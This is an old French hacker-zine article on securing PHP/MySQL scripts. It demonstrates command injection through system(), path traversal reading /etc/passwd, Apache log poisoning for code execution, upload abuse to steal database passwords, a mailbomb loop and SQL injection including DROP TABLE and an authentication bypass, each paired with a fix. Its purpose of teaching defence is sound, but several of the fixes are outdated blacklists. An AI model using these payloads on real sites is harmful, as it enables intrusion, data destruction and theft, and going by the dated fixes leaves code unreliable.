

Securiser ses scripts PHP : medgi - subkulture crew 2001

SOMMAIRE :

- [[1](#)] Introduction
 - [[2](#)] Les failles de PHP
 - [[2.1](#)] Vulnérabilité 'escape shell'
 - [[2.2](#)] Fonction include()
 - [[2.3](#)] Fonction mail()
 - [[2.4](#)] Les fichiers de logs de Apache
 - [[2.5](#)] Script d'upload
 - [[3](#)] PHP & MySQL
 - [[3.1](#)] Requetes MySQL multiples
 - [[3.2](#)] Fakes posts
 - [[3.3](#)] Stupid DoS
 - [[3.4](#)] Bypasser une authentification
 - [[4](#)] Conclusion & remerciements
-

[1] Introduction :

Le PHP est un langage de script très performant, et de plus en plus utilisé dans le développement de site web. Ce langage est doté d'une multitude de fonctions allant du simple affichage de données à la gestion des sockets, en passant par la gestion d'un serveur mail ou encore l'utilisation de commandes système. Ainsi de part la multitude de ses fonctions, le PHP offre aussi la possibilité d'obtenir des informations, voire même un acces (partiel ou complet) au systeme. Il est donc nécessaire à tout développeur de scripts, voire même aux administrateur systeme de comprendre ce langage et de repérer les éventuelles problèmes que des scripts pourraient causer. Cet article à donc pour but de vous expliquer les principes de la sécurité PHP en analysant différentes fonctions/scripts pouvant s'avérer vulnérables.

Nous etudierons tout d'abord les scripts et/ou les fonctions PHP pouvant être vulnérables, puis nous étudierons les failles liées à MySQL, système de base de donnée le plus utilisé en interfaçage avec PHP. Il faut savoir que le langage PHP est en constante évolution, ainsi cet article n'est en aucun cas une liste exhaustive des failles pouvant exister, ni même une liste des solutions possibles, cependant il essaiera d'aborder et d'expliquer toutes les situations envisageables. Vous pouvez envoyer vos commentaires par email à :
medgi ht.st

[2] Les failles de PHP :

[2.1] Vulnerabilite escape shell :

Le langage PHP possède une fonction 'system()' permettant d'utiliser directement des commandes systemes. Ainsi il est évident que cette fonction peut s'avérer dangereuse puisque si l'attaquant réussi à détourner un script utilisant cette fonction, il gagne un acces partiel, voire même complet (euh ca existe encore des httpd avec les droits root :p). Voyons tout d'abord un schéma classique. Le webmaster désire afficher l'uptime de son server, dans le cadre d'une page de statistique. Il pourra alors porcéder ainsi :

- `<? echo system("uptime"); ?>`

Ce qui affichera au client http une ligne dans ce genre :

- 4:00am up 1 day, 5:02, 3 users, load average: 0.00, 0.03, 0.00

Cependant imaginez que le webmaster en question désire passer ses commandes dans des variables, en pensant que cela lui facilitera la lecture de son script, ou pour n'importe quelle autre raison. Il procédera alors ainsi :

- `<? system($cmd); ?>`

Si nous le consultons de cette maniere : <http://subkulture/system.php?cmd=uptime>, le serveur nous affichera le même type de résultat que précédemment. Cependant il suffit que nous modifions la variable \$cmd par une autre

commande pour voir apparaitre tout autre chose :

- <http://subkulture/system.php?cmd=cat%20/etc/issue>

[Resultat :] Red Hat Linux release 7.1 (Seawolf) Kernel 2.4.2-2 on an i686

Ainsi comme vous pouvez le constater, si nous détournons la variable \$cmd, nous pouvons nous servir de la page script PHP comme un remote shell ayant les droits du daemon httpd. Il est évident que cette faille est flagrante et que n'importe quel webmaster faisant appel à la fonction system() n'utilisera pas la deuxième méthode. Cependant il existe une seconde possibilité de détourner cette fonction. Imaginons qu'un site web veuille fournir à ses usagers un services comme traceroute par exemple. Il pourra utiliser une page munie d'un formulaire HTML pour récupérer une IP, puis concaténer cette IP avec une autre chaîne de caractère, pour enfin exécuter la commande voulue. Petit exemple :

- ```
<?
 $cmd = "traceroute ".$cmd;
 system($cmd);
?>
```

Ainsi, en entrant comme valeur 'www.yahoo.com' nous obtiendrons un résultat de ce style :

- ```
traceroute: Warning: www.yahoo.com has multiple addresses; using 64.58.76.179
traceroute to www.yahoo.akadns.net (64.58.76.179), 30 hops max, 38 byte packets
...
 9  gblon523-tc-p8-0.ebone.net (213.174.71.65)  52.138 ms  47.755 ms  47.945 ms
10  usnyk405-tc-p3-0.ebone.net (213.174.70.58)  115.571 ms 116.682 ms 119.300 ms
11  usnyk105-tc-r2-0.ebone.net (213.174.69.162) 119.398 ms 115.842 ms 119.985 ms
12  ebone-px-jrcy01.exodus.net (195.158.229.130) 120.114 ms 116.874 ms 119.346 ms
...
```

Imaginez maintenant que nous entrions comme requête 'www.yahoo.com | nmap localhost'. Le script PHP effectuera d'abord la première commande, à savoir 'traceroute www.yahoo.com', puis il ne concatènera pas la deuxième commande avec 'traceroute ', et de ce fait elle sera exécutée. On aura alors un résultat de ce type :

- Starting nmap V. 2.54BETA29 (www.insecure.org/nmap/)
Interesting ports on subkulture (127.0.0.1):
(The 1545 ports scanned but not shown below are in state: closed)
...

Il est donc, comme nous l'avons vu, possible de corrompre le système ou encore utiliser des programmes; cependant il est beaucoup plus pratique pour une question de lecture des données, d'utiliser cette méthode dans le but d'obtenir un maximum d'information sur le serveur (version du kernel, port ouvert, distribution ...).

Voyons maintenant comment résoudre cette faille. Dans le premier cas, il est possible de créer un script de parsing des commandes envoyées, cependant cette méthode n'est pas envisageable, vu la quantité de commandes *nix existante. Cependant une méthode relativement simple consiste à ne pas placer les commandes dans des variables, ou alors faire une définition de la variable (\$cmd= "uptime"). Dans le second cas, la solution la plus simple consiste à repérer le caractère pipe '|' et arrêter le script. Attention, ne pas oublier d'effectuer une recherche sur l'équivalent du pipe en URL-Encode (à savoir %7c).

N'oublions pas que cette méthode fonctionne aussi avec les caractères & (and) ou encore ; (point virgule). Il faut donc aussi parser notre requête pour ces mêmes caractères.

- Exemple pour le caractère 'pipe' :

```
if( (strstr($cmd, "|")) || (strstr($cmd, "%7c")) ) {
    echo "Erreur : caractère interdit !";
    break();
}
```

[2.2] Fonction include() :

La fonction include permet, comme son nom l'indique, d'inclure le contenu d'un fichier dans un script php. Cette fonction est dans la plupart utiliser pour créer des pages dynamiques à proprement parler, comme par exemple en incluant un fichier de configuration. Ainsi, une page pourrait s'organiser de la façon suivante :

- ```
<?
 include("config.php");
 include("header.php");
 if(file_exists($page))
 include($page);
 else
 include("erreur404.php");
 include("footer.php");
?>
```

Appel de la page : `http://subkulture/index.php?page=news.php`

Ce code est assez simple à comprendre : le script PHP inclut un fichier de configuration et le header de la page (contenant diverses informations comme le titre, les feuilles de style ....), puis il vérifie si le fichier contenu dans la variable `$page` existe, et l'inclut (ou inclut une page d'erreur 404 si il n'existe pas). Enfin le script inclut le footer (contenant les fermetures de balise par exemple).

Ainsi il est assez simple de détourner le script en modifiant le contenu de la variable par un fichier 'sensible' :

- `http://subkulture/index.php?page=../../../../../etc/inetd.conf`  
(la plupart des serveur utilisant encore `inetd` et pas `xinetd`)

Comem vous pouvez le constater cette faille permet une fois encore d'obtenir des informations sur le serveur. Il est donc évident que plus un attaquant à d'information sur votre système, plus celui ci aura de chance de s'introduire dans ce système. Pour sécuriser une faille de ce genre, la possibilité la plus simple reste une fois encore d'intervenir directement au niveau du script, par exemple ajoutant une extension au fichier à consulter :

```

• <?
 include("config.php");
 include("header.php");

 $page = $page.".php"; // Ajout d'une extension .php
 if(file_exists($page))
 include($page);
 else
 include("erreur404.php");

 include("footer.php");
?>

```

ou encore de parser certains caracteres comme les slash, pour éviter le changement de répertoire :

- `$page = ereg_replace("/", "subk");` // Modification de '/' par 'subk' `$page =`  
`ereg_replace("%2f", "subk");` // Idem mais avec l'équivalent unicode de / (%2f)

Une autre solution serait d'intervenir directement au niveau du système, en changeant les autorisation des utilisateurs (`chown`), pour éviter que l'user 'httpd' ne puisse accéder aux fichier en dehors de sa racine (`htdocs`). Pour plus d'information man `chown` :).

### [ 2.3 ] Fonction mail() :

La fonction `mail()` permet d'envoyer des emails par l'intermédiaire d'un script PHP. Il n'existe pas vraiment de 'failles' utilisables avec cette fonction, cependant il est possible de l'utiliser dans le but de spammer/mailbomber des emails.

Il est évident que vous n'utiliserez pas cette fonction à cet usage, cependant si vous hébergez des sites web, il est possible que vos utilisateurs soient tenté de détourner l'utilisation normale de cette fonction en pensant que c'est votre IP qui apparaîtra dans les headers des mails. En effet, un mailbomber est un script très facile à mettre en place. Exemple :

```

• <?
 $to = "victim@troll.com";
 $subject = "graou";
 $message = "I'm a stupid kiddiez";
 for($i=0; $i<5000; $i++) {
 mail($to, $subject, $message);
 }
?>

```

Pour éviter que l'un de vos utilisateur n'effectue des spam/mailbomb, le plus simple et le plus efficace est de désactiver cette fonction. Cependant à la manière de certains hébergeurs, vous pouvez aussi recoder une fonction `mail` personnalisée, que vous nommerez par exemple `email()`.

### [ 2.4 ] Les fichiers de logs de Apache :

Comme nous l'avons vu plus haut la fonction `include()` permet d'inclure un fichier dans un script PHP. Cependant, il existe une autre méthode pour exploiter cette fonction. Cette méthode permet non pas d'afficher le contenu de certains fichiers sensibles, mais d'obtenir un accès partiel voire complet au système (comme toujours, cela dépend des droits du daemon `httpd`). Reprenons ainsi le meme exemple que précédemment :

```

• <?
 include("config.php");
 include("header.php");
 if(file_exists($page))
 include($page);
 else
 include("erreur404.php");
 include("footer.php");
?>

```

Tout d'abord, il nous faut vérifier que le script permet le passage de path en argument. Dans notre exemple, cela est possible, à moins que les repertoires aient été chown correctement. Pour savoir si cela est possible, ne spécifiez pas de valeur pour la variable \$page :

- `http://www.subkulture.org/index.php?page=`

Vérifiez alors le message d'erreur renvoyé par PHP. S'il s'agit d'un message de ce type : 'Fatal error: input in flex scanner failed in /home/www/subkulture on line 1', c'est que le script acceptera le passage de path en argument. Voyons maintenant la faille en question

Comme vous pouvez le constater il serait bien simple d'exploiter la faille afin de récupérer le fichier `/etc/passwd` du serveur. Ainsi `http://www.subkulture.org/index.php?page=/etc/passwd` donnera un résultat de ce genre :

```

• root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:
 daemon:x:2:2:daemon:/sbin:

```

Cependant comme vous pouvez le constater, la plupart des `/etc/passwd` sont shadowed de nos jours, et donc cette méthode n'est pas efficace. Par contre nous pouvons tout de même nous servir de cette méthode pour gagner des informations sur le serveur en question comme nous l'avons vu plus haut.

- `http://www.subkulture.org/index.php?page=/etc/inetd.conf`  
`http://www.subkulture.org/index.php?page=/etc/issue`  
`http://www.subkulture.org/index.php?page=/etc/motd`  
 [ ... ]

Voyons maintenant la méthode qui nous permettra d'obtenir un remote shell sur le serveur (avec les permissions du serveur http bien sûr). Tout d'abord localisons le fichier de log de apache : `http://www.subkulture.org/index.php?page=/usr/local/apache/conf/httpd.conf`. Je ne vais pas afficher tout le fichier log ici, car celui-ci est trop long. Voici donc seulement la partie qui nous intéresse :

- DocumentRoot /home/www/subkulture  
 ServerName subkulture.org  
 ScriptAlias /cgi-bin/ /home/www/subkulture/cgi-bin/ subkulture  
 ErrorLog logs/subkulture.org-error\_log  
 CustomLog logs/subkulture.org-access\_log combined  
 ServerAdmin webmaster@subkulture.org

Consultons le fichier qui log les requêtes http qui ont provoqué une erreur ( `subkulture.org-error_log` ) :

```

• [...]
 [Wed Jun 6 12:12:29 2001] [error] [client 148.100.206.196] File does not exist:
 /home/www/subkulture/images/subk.jpg
 [...]

```

Voyons maintenant ce qui se passe lorsque nous tentons des requêtes qui ne peuvent pas marcher, comme par exemple un code PHP :

- `http://www.subkulture.org/<?echo"subkulture";?>` -- ce qui donnera dans le fichier log :  
`[Tue Jul 24 21:39:30 2001] [error] [client xxx.xxx.xxx.xxx] File does not exist: /home/www/subkulture/<`

L'idée était de faire en sorte d'introduire un code PHP dans le fichier `subkulture.org-error_log`, puis de consulter le fichier log grâce au script vulnérable, dans le but d'exécuter ce code. A première vue cela ne marche pas. Pourtant, si l'on cherche mieux, on se rend vite compte qu'il est possible de balancer du code en convertissant notre requête en URL-Encode. Voici donc un petit code en C qui fonctionne très simplement : vous l'exécutez, et il vous donne un prompt. Vous entrez votre char et le programme vous affiche son équivalent en URL-Encode :

- `a2h.c` : convertit un char ascii en un char url-encodé :

```

/* a2h.c - medgi : subkulture 2001 */
#include <stdio.h>
#include <string.h>
int main() {
 char subk;
 printf("Entrez un char:\t");
 scanf("%c", &subk);
 printf("%%%x", subk);
}

```

```
 return 0;
}
```

Nous allons maintenant transformer une requete telle que `<? system("ls -al"); ?>` en URL-Encode, ce qui donne `%3c%3f%20system%28%22ls%20%2dal%22%29%3b%20%3f%3e`. Etudions maintenant le résultat de nos requetes URL-Encodées :

- `http://www.subkulture.org/%3c%3f%20system%28%22ls%20%2dal%22%29%3b%20%3f%3e`  
# permet de placer notre code dans le fichier `subkulture.org-error_log`

```
http://www.subkulture.org/index.php?page=/usr/local/apache/logs/subkulture.org-error_log
Nous consultons le fichier subkulture.org-error_log.
```

### RESULTATS :

```
[Tue Jul 24 22:12:30 2001] [error] [client xxx.xxx.xxx.xxx] File does not exist: /home/www/subkulture/total
408
```

```
drwxr-xr-x 7 mariston mariston 4096 Mar 19 19:18 .
drwxr-xr-x 30 mariston mariston 4096 Jul 20 15:34 ..
-rw-r--r-x 1 mariston mariston 20992 Nov 15 2000 Donnelly_Tragedy.doc
drwxr-xr-x 2 mariston mariston 4096 Nov 15 2000 MRtoilet
-rw-r--r-x 1 mariston mariston 4109 Nov 15 2000 MRtoilet_article
-rw-r--r-x 1 mariston mariston 2123 Nov 15 2000 MRtoilet_review.htm
-rw-r--r-x 1 mariston mariston 403 Aug 23 2000 archive_list_ls
drwxr-xr-x 2 mariston mariston 4096 Aug 23 2000 barpics
-rw-r--r-x 1 mariston mariston 9220 Sep 14 2000 bars.html
-rw-r--r-x 1 mariston mariston 20115 Nov 15 2000 bathroom_wall.jpg
-rw-r--r-x 1 mariston mariston 10635 Oct 10 2000 bathrooms
-rw-r--r-x 1 mariston mariston 4415 Sep 6 2000 bookstore.html
[...]
```

Comme vous pouvez le constater, si nous insérons du code PHP dans les fichiers error-logs, puis que nous consultons ces fichier par l'intermédiaire de Apache, le code qui a été déposé va être interprété par PHP. Ainsi, l'attaquant aura plusieurs possibilités : envoyer une requete avec la fonction `system()` pour obtenir un 'pseudo-shell', écrire un backdoor PHP dans un fichier (voir plus loin), modifier des fichiers du `htdocs`, ... Bref il s'agit là d'une faille très importante, surtout si votre Apache tourne en root (ahem !). Pour résoudre ce probleme d'exécution de code, il vous suffit de procéder comme avec la fonction `include()`, à savoir changer les permissions pour le repertoire, parser les slash. Pour plus de sureté, vous pouvez aussi installer apache dans un autre path que celui habituel (`/usr/local/bin`).

## **[ 2.5 ] Script d'upload :**

Les scripts d'upload de fichiers sont vraiment très pratique, puisqu'il permette d'effectuer une mise à jour très rapide, et d'autant plus rapide si les données sont gérés avec une base de donnée comme par exemple MySQL. Ainsi, il est normal de constater que beaucoup de site aient recours à de tels scripts. Cependant, il existe plusieurs vulnérabilités liées à ce type de script.

Pour mieux comprendre comment fonctionne un script d'upload en PHP, voici un petit extrait de code (extrait de l'advisory de zorgon à ce sujet) :

```
• $uploaddir = "/uploadfiles";
 if(ereg("^\.","$filename_name") || ereg("[%/,;:~#`''$%&\\()?!^|\\|]", $filename_name))
 {
 ...
 }
 elseif(file_exists("$uploaddir/$filename_name"))
 {
 ...
 }
 elseif($filename_size <= $max_uploadsize)
 {
 copy($filename, "$uploaddir/$filename_name");
 ...
 }
```

La variable `$uploaddir` contient le répertoire où seront stocké les fichiers uploadés. La premiere condition vérifie les caracteres contenu dans le nom du fichier à uploader, puis execute une instruction (non présente ici) si ils sont présent, à savoir un message d'erreur affichant que ces caracteres ne sont pas autorisés. La seconde condition vérifie que le fichier que nous voulons uploader n'existe pas déjà, dans le but d'éviter d'écraser ce fichier. Si il existe déjà, le script affichera un message d'erreur, puis un `break`. Enfin la derniere condition vérifie que la taille du fichier que nous voulons uploader est inférieure à la taille maximale autorisée pour un fichier. Si cette condition est remplie, le script copiera le fichier file dans `/uploadfiles/file`.

Comme vous pouvez le constater, le script ne présente aucun controle de vérification de l'extension. Ainsi il est

possible aussi bien d'uploader des .png que des .txt. Cependant la faille existe lorsque nous uploadons un fichier avec l'extension .php, .php3 ou encore .cgi (tout dépend de la configuration du serveur). En uploadant un fichier avec une des ces extensions, nous pourrions alors exécuter le code contenu dans ces fichiers, par le biais de notre navigateur. A partir de ce point là, l'attaquant dispose de plusieurs méthodes d'attaques, toutes basées sur le même principe.

Tout d'abord il peut créer un petit script utilisant la fonction copy(). Ce script aura pour effet de copier le contenu d'un fichier PHP dans un fichier texte. Ainsi il sera possible d'obtenir le code source du fichier PHP copié. L'intérêt de cette méthode est qu'aujourd'hui la plupart des sites utilisant PHP ont recours à des bases de données, protégées par un système de login/password. Ce login/password doit être stipulé dans le code source pour que la connexion à la base de données puisse s'effectuer. Ainsi en récupérant le code source d'un script PHP, l'attaquant risque aussi de récupérer un ou des login/password de MySQL par exemple. Voici un petit exemple de script PHP à uploader :

```
• <?
 copy("page.php","page_source.txt");
 ?>
```

Il suffit maintenant à l'attaquant de consulter le fichier page\_source.txt pour récupérer vos mots de passe d'administration de MySQL. La deuxième méthode d'attaque est basée sur le même principe, mais est légèrement plus complexe. Il s'agit là de gagner un accès au système lui-même en créant une backdoor PHP. Il ne faut pas oublier que PHP offre des fonctions gérant les connexions sockets, et que donc toute sortes de scripts gênant pour l'administrateur peuvent exister : bot IRC, backdoor, scanner de port, ....

Pour résoudre ce problème il existe, une fois encore, plusieurs solutions. Tout d'abord, il est conseillé soit de rajouter une extension, soit de parser les extensions. Voici donc deux exemples :

```
• $filename = $filename.".subk"; # Rajoute l'extension .subk

if (ereg("php$", $filename) || ereg("php3$", $filename) || ereg("cgi$", $filename)) {
 # Verifie l'extension de $filename
 echo "Type de fichiers interdits pour raison de sécurité !";
 break();
}
```

Une autre méthode serait de faire en sorte que l'attaquant n'ait pas accès au répertoire d'upload (/uploadfiles dans notre exemple). Pour ce faire utiliser les .htaccess de Apache par exemple, ou encore placez ce répertoire en dehors de la racine du httpd (htdocs).

### [ 3 ] PHP & MySQL :

#### [ 3.1 ] Requetes MySQL multiples :

MySQL est un système de base de données facile à utiliser, et de ce fait la plupart des scripts PHP utilise MySQL pour gérer leurs données. La faille qui suit existe non seulement pour PHP, mais pour beaucoup d'autres langages tels que l'ASP, le CFM ou encore le JSP. Voyons tout d'abord comment fonctionne un script avec MySQL :

```
• [...]
 $table = "newsletter";
 $query = "SELECT * FROM $table";
 $result = mysql_query($query);
 [...]
```

Le système est simple : au début de chaque script, il faut établir une connexion à la base de données MySQL. Pour cela nous utilisons la fonction mysql\_connect(), avec comme argument un login et un password. Ensuite il faut sélectionner une base de données avec la fonction mysql\_select\_db(). Une fois ces étapes remplies, il faudra sélectionner le nom d'une table. La table est un tableau contenant différentes données. Dans notre exemple il s'agit de newsletter, qui contient deux champs : nom de l'utilisateur et email. De même pour insérer quelqu'un dans cette même table nous pourrions effectuer un code comme ceci, où \$nom est le nom d'utilisateur et \$email son email.

```
• [...]
 $table = "newsletter";
 $query = "INSERT INTO $table ('$nom', '$email')";
 $result = mysql_query($query);
 [...]
```

Rien de bien compliqué n'est-ce pas ? De plus il faut savoir que MySQL est aussi capable d'effectuer deux requêtes en même temps. Ainsi pour insérer deux lignes dans une table MySQL, nous pourrions procéder ainsi :

```
• $query = "INSERT INTO newsletter ('subkulture', 'subkulture@unixlover.com'); INSERT INTO newsletter
 ('medgi', 'medgi@ht.st')";
 $result = mysql_query($query);
```

C'est là que le premier problème se pose : imaginez en effet que nous ayons un formulaire d'inscription qui a comme input nom et email. Rentrions alors des valeurs comme ceci :

- [ NOM ] medgi  
[ MAIL ] 'medgi@ht.st'); INSERT INTO newsletter ('subkulture','subkulture@unixover.com')

Le script recevra donc une requête double qui sera insérée dans la table 'newsletter'. Dans cet exemple, l'attaque a très peu d'intérêt, si ce n'est surcharger la table MySQL. Bien sûr nous pourrions effectuer d'autres requêtes comme par exemple "SELECT \* FROM login" cependant cela a aussi très peu d'intérêt et ce pour deux raisons : tout d'abord, il n'est pas sûr que la table login existe, et ensuite même si la requête MySQL récupérera tout le contenu de la table login (login/password/telephone/email/...), cela ne sera pas forcément disponible pour nous.

En effet, l'affichage de données MySQL se fait en général ainsi : nous récupérons les champs qui nous intéressent par leur nom (\$nom, \$email, \$password, ...) puis nous les affichons. Cependant si par exemple la page que nous désirons attaquer est une page d'enregistrement, aucune fonction ne sera présente pour l'affichage de données. Ainsi la deuxième requête que l'attaquant effectuera, n'affichera en général pas les données que celui-ci attend. Le problème vient du fait qu'avec MySQL, il est aussi possible d'effectuer des requêtes effaçant une ligne, voire toute la table. Ainsi dans notre exemple précédent si nous rentrions une requête comme celle-ci :

- [ NOM ] medgi  
[ MAIL ] 'medgi@ht.st'); DROP TABLE newsletter

Toute la table newsletter serait effacée, et c'est là que cette méthode devient dangereuse. Voyons donc comment sécuriser vos scripts. Le problème vient de la requête passée par un champ de formulaire, il suffit donc de parser la variable de ce formulaire, pour éviter toute mauvaise requête. Pour cela il suffit d'utiliser la fonction addslashes(), qui rajoutera un backslash '\' devant les caractères suivants : quote ("), apostrophe (') et backslash (\). Voici donc une partie de code pour parser votre variable :

- \$nom = addslashes(\$nom);  
\$email = addslashes(\$email);  
  
# Définition de la requête :  
\$query = "INSERT INTO \$table ('\$nom', '\$email');

Vous pouvez aussi activer l'option MAGIC\_QUOTES dans votre php.ini (MAGIC\_QUOTES = on).

### [ 3.2 ] Fake posts :

La plupart des moteurs de news actuels laissent la possibilité à leur utilisateurs de poster des commentaires. Dans certains scripts, l'utilisateur doit s'authentifier, et donc laisser ses coordonnées, ce qui limite le nombre de personnes indésirables, voire mal intentionnées. Cependant il existe des sites qui permettent de poster des commentaires sans s'identifier. C'est ce cas précis qui intéressera un attaquant. Ainsi voici un extrait de code qui s'avérera vulnérable :

- if ( \$action=="ajout" )  
{  
    \$date=date("Y/m/d H:i");  
    \$ajout\_sql = mysql\_query("insert into \$table (nom, auteur, email, texte, date) values ('\$nom', '\$auteur', '\$email', '\$texte', '\$date')",\$connexion);  
}

Comme vous pouvez le constater, le formulaire transmet à la page de script une variable 'hidden'. Si son contenu est ajout, le script exécutera une requête d'ajout dans la base de données. Le nom de la table est variable, et correspond au numéro de la news : si il s'agit d'un commentaire pour la news 40, le nom de la table sera par exemple news\_40. Dans cet exemple je ne comprend pas vraiment comment le développeur a fait pour faire un script aussi insensé, il n'empêche que celui-ci existe :) !

Voici donc la pseudo-faible, qui va vous paraître inutile certes, mais qui peut s'avérer agaçante pour le webmaster. L'attaquant va poster un commentaire "fantôme". Ainsi imaginons que la requête pour ajouter une news soit : <http://subkulture/addcommentaire.php?newsID=40&nom=medgi&email=...&text=subkulture%20wnz%20y0u>. Si la news numéro 40 existe, le commentaire va être posté. Cependant si la news numéro 40 n'existe pas, la news va quand même être postée (erf) :) !

Comme vous pouvez le constater, il est ainsi possible de poster des commentaires sur des news qui n'existent pas. Peu d'intérêt certes, cependant le webmaster soucieux de son site doit vite être agacé de ces posts de gamin. Ainsi pour sécuriser ce petit bug, rien de plus simple :

- \$query = "SELECT \* FROM table\_news";  
\$requete = mysql\_query(\$query);  
\$nb = mysql\_numrows(\$requete);  
if ( (\$action=="ajout") && (\$newsID < \$nb) )  
{  
    \$date=date("Y/m/d H:i");  
    \$ajout\_sql = mysql\_query(...);  
}

En passant, si quelqu'un tombe sur un script qui présente le même bug, qu'il me l'envoie parce que même si je comprend les grandes lignes du raisonnement, je ne vois vraiment pas comment on peut construire un script de commentaire sur une architecture aussi tordu :).

### [ 3.3 ] Stupid DoS :

Le principe est similaire à celui plus haut : imaginez que l'attaquant peut poster des commentaires pour des news qui n'existe pas, et ceci sans identification. Il peut alors en poster 1, 2 voire 5000. Cependant au bout d'un certain nombre de requête la base de données commence à légèrement surchargée. Ainsi imaginons un code source comme celui ci (en C) :

```
[...]
int i;
char buffer[] = "POST
/commentaire.php?newsID=40&nom=el8&email=fuck@fuck.com&texte=im%20a%20stupid%20kiddiez
HTTP/1.0\n\n";
for(i=0; i=5000; i++) {
 send(socket, buffer, strlen(buffer);
}
[...]
```

Je n'ai pas donné ici le code source entier, pour éviter que les troll le reprenne, cependant il s'agit là d'un code très facile à mettre en place, et qui peut s'avérer ennuyeux : imaginez que votre base de donnée MySQL soit déficiente pendant très longtemps suite à des attaques répétées : cela peut s'avérer très ennuyant, surtout que la plupart des sites web sont géré avec MySQL ! Voici donc une petite solution : sachant que les requête sont envoyées sur le port 80 (http), et donc passent par apache, il vout suffit de modifier une ligne dans votre httpd.conf :

- MaxKeepAliveRequests 100

Sachant que si vous mettez la valeur à 0 cela permettra un nombre illimité de requête, tandis que si vous mettez la valeur à un nombre plus haut, cela permettra de réduire le nombre de requêtes. Tout dépend donc du type de serveur que vous utilisez : paramétrez en fonction de vos statistiques (mettre la valeur à 0 alors qu'il s'agit d'un serveur personnel destiné au test de script PHP serait ridicule !). Je n'ai pas trouvé d'autres solutions à ce problème, si vous avez une idée, maillez moi.

### [ 3.4 ] Bypasser une authentification :

Cette technique est basée sur le même principe que l'attaque vu en [ 3.1 ] : la faille mis en cause est la requête au serveur SQL. Ainsi lors d'une authentification, le script PHP va récupérer les variables \$login et \$password, puis va parcourir la base de donnée à la recherche du couple Login/Password. Ainsi la requête MySQL ressemblera à quelquechose de ce type :

```
• $table = "identification";
 $query = " SELECT Login, Password FROM $table WHERE Login='$login' and Password='$password' ";
 $result = mysql_query($query);
```

Login et Password sont des champs de la table identification (\$table), tandis que \$login et \$password sont des valeurs entrées par l'utilisateur à travers un formulaire. Ainsi si l'utilisateur entre comme login medgi et comme password subkulture, la requête correspondra à ceci :

```
SELECT Login, Password FROM identification WHERE Login='medgi' AND Password='subkulture'
```

Maintenant imaginez que l'utilisateur entre comme valeur pour le login 'or'=' et pour le password 'or'='. La requête MySQL correspondante ressemblera à ceci :

```
SELECT Login, Password FROM identification WHERE Login="or"=" AND Password="or"="
```

Etudions cette requête plus en détail. Le script PHP va parcourir la base de données MySQL à la recherche de plusieurs choses. Tout d'abord il va chercher un champ Login qui ne contient rien. En théorie il ne trouvera pas car chaque compte possède un nom d'utilisateur. Si il ne trouve pas il va essayer la deuxième condition stipulée par le or. Cette condition demande qu'une chaîne vide soit égale à une chaîne vide, cela revient à dire 0 = 0 : c'est toujours vrai. Ensuite le script PHP tentera de vérifier les mêmes conditions pour le champ Password. Ainsi les deux conditions seront vrai, et l'authentification sera correct.

De même si nous passons comme argument admin pour la variable \$login et que nous passons 'or'=' pour la variable \$password, nous obtiendrons une requête de ce genre :

```
SELECT Login, Password FROM identification WHERE Login='admin' AND Password="or"="
```



Une fois de plus nous pouvons contourner l'identification, mais cette fois ci nous pouvons même stipuler l'utilisateur, et donc avoir les même droit que lui (il est logique que l'utilisateur Admin aie plus de permissions que l'utilisateur Guest318).

Il est aussi possible de passer l'authentification en utilisant des commentaires. Petits rappels des commentaires : définits entre /\* et \*/ ou encore par le caractère dieze (#). Ainsi si nous rentrons comme valeur pour login 'or'='#, notre requete MySQL sera de la sorte :

```
SELECT Login, Password FROM identification WHERE Login='or'='# AND Password=' $password '
```

Ce qui revient à effectuer une requete de la forme :

```
SELECT Login, Password FROM identification WHERE Login= " or "="
```

Ainsi en utilisant les commentaires nous effaçons une partie de la requête ce qui nous permet d'éviter certaines étape de controle (ici la vérification du password).

En utilisant cette méthode un attaquant peut bypasser une authentification, et le compte obtenu sera le premier de la table MySQL, qui est en général l'admin ! Ainsi pour sécuriser cette faille, il faut parser les input avant d'effectuer la requete MySQL, en vérifiant que \$login et \$password ne contiennent pas les caracteres suivant : ( ) / , ; . : # < > | \ ". Voici comment procéder :

```
$login = trim(htmlspecialchars(addslashes($login))); # Parsing du login
$password = trim(htmlspecialchars(addslashes($password))); # parsing du password

if((strlen($login)!=0) && (strlen($password)!=0)) {
 # REQUETE MYSQL
} else {
 echo "fuck you :) \n";
}
```

#### [ 4 ] Conclusion et remerciements :

Voila c'est la fin de cet article sur la sécurité PHP/MySQL. Je tenais à préciser que certaines de ces techniques n'ont pas été découvertes par moi même, alors merci à leur auteur. Pour toute question ou commentaires envoyez un mail à : medgi ht.st

Merci à Martony, ad, GangstuckK, saur0n, scythale, skoop, Nitronec, eberkut, y0me, TipiaK, obscurer, OUAH, `Spud, et tout les autres que j'aurais pu oublier :).

subkulture r0x !

-- have phun (medgi)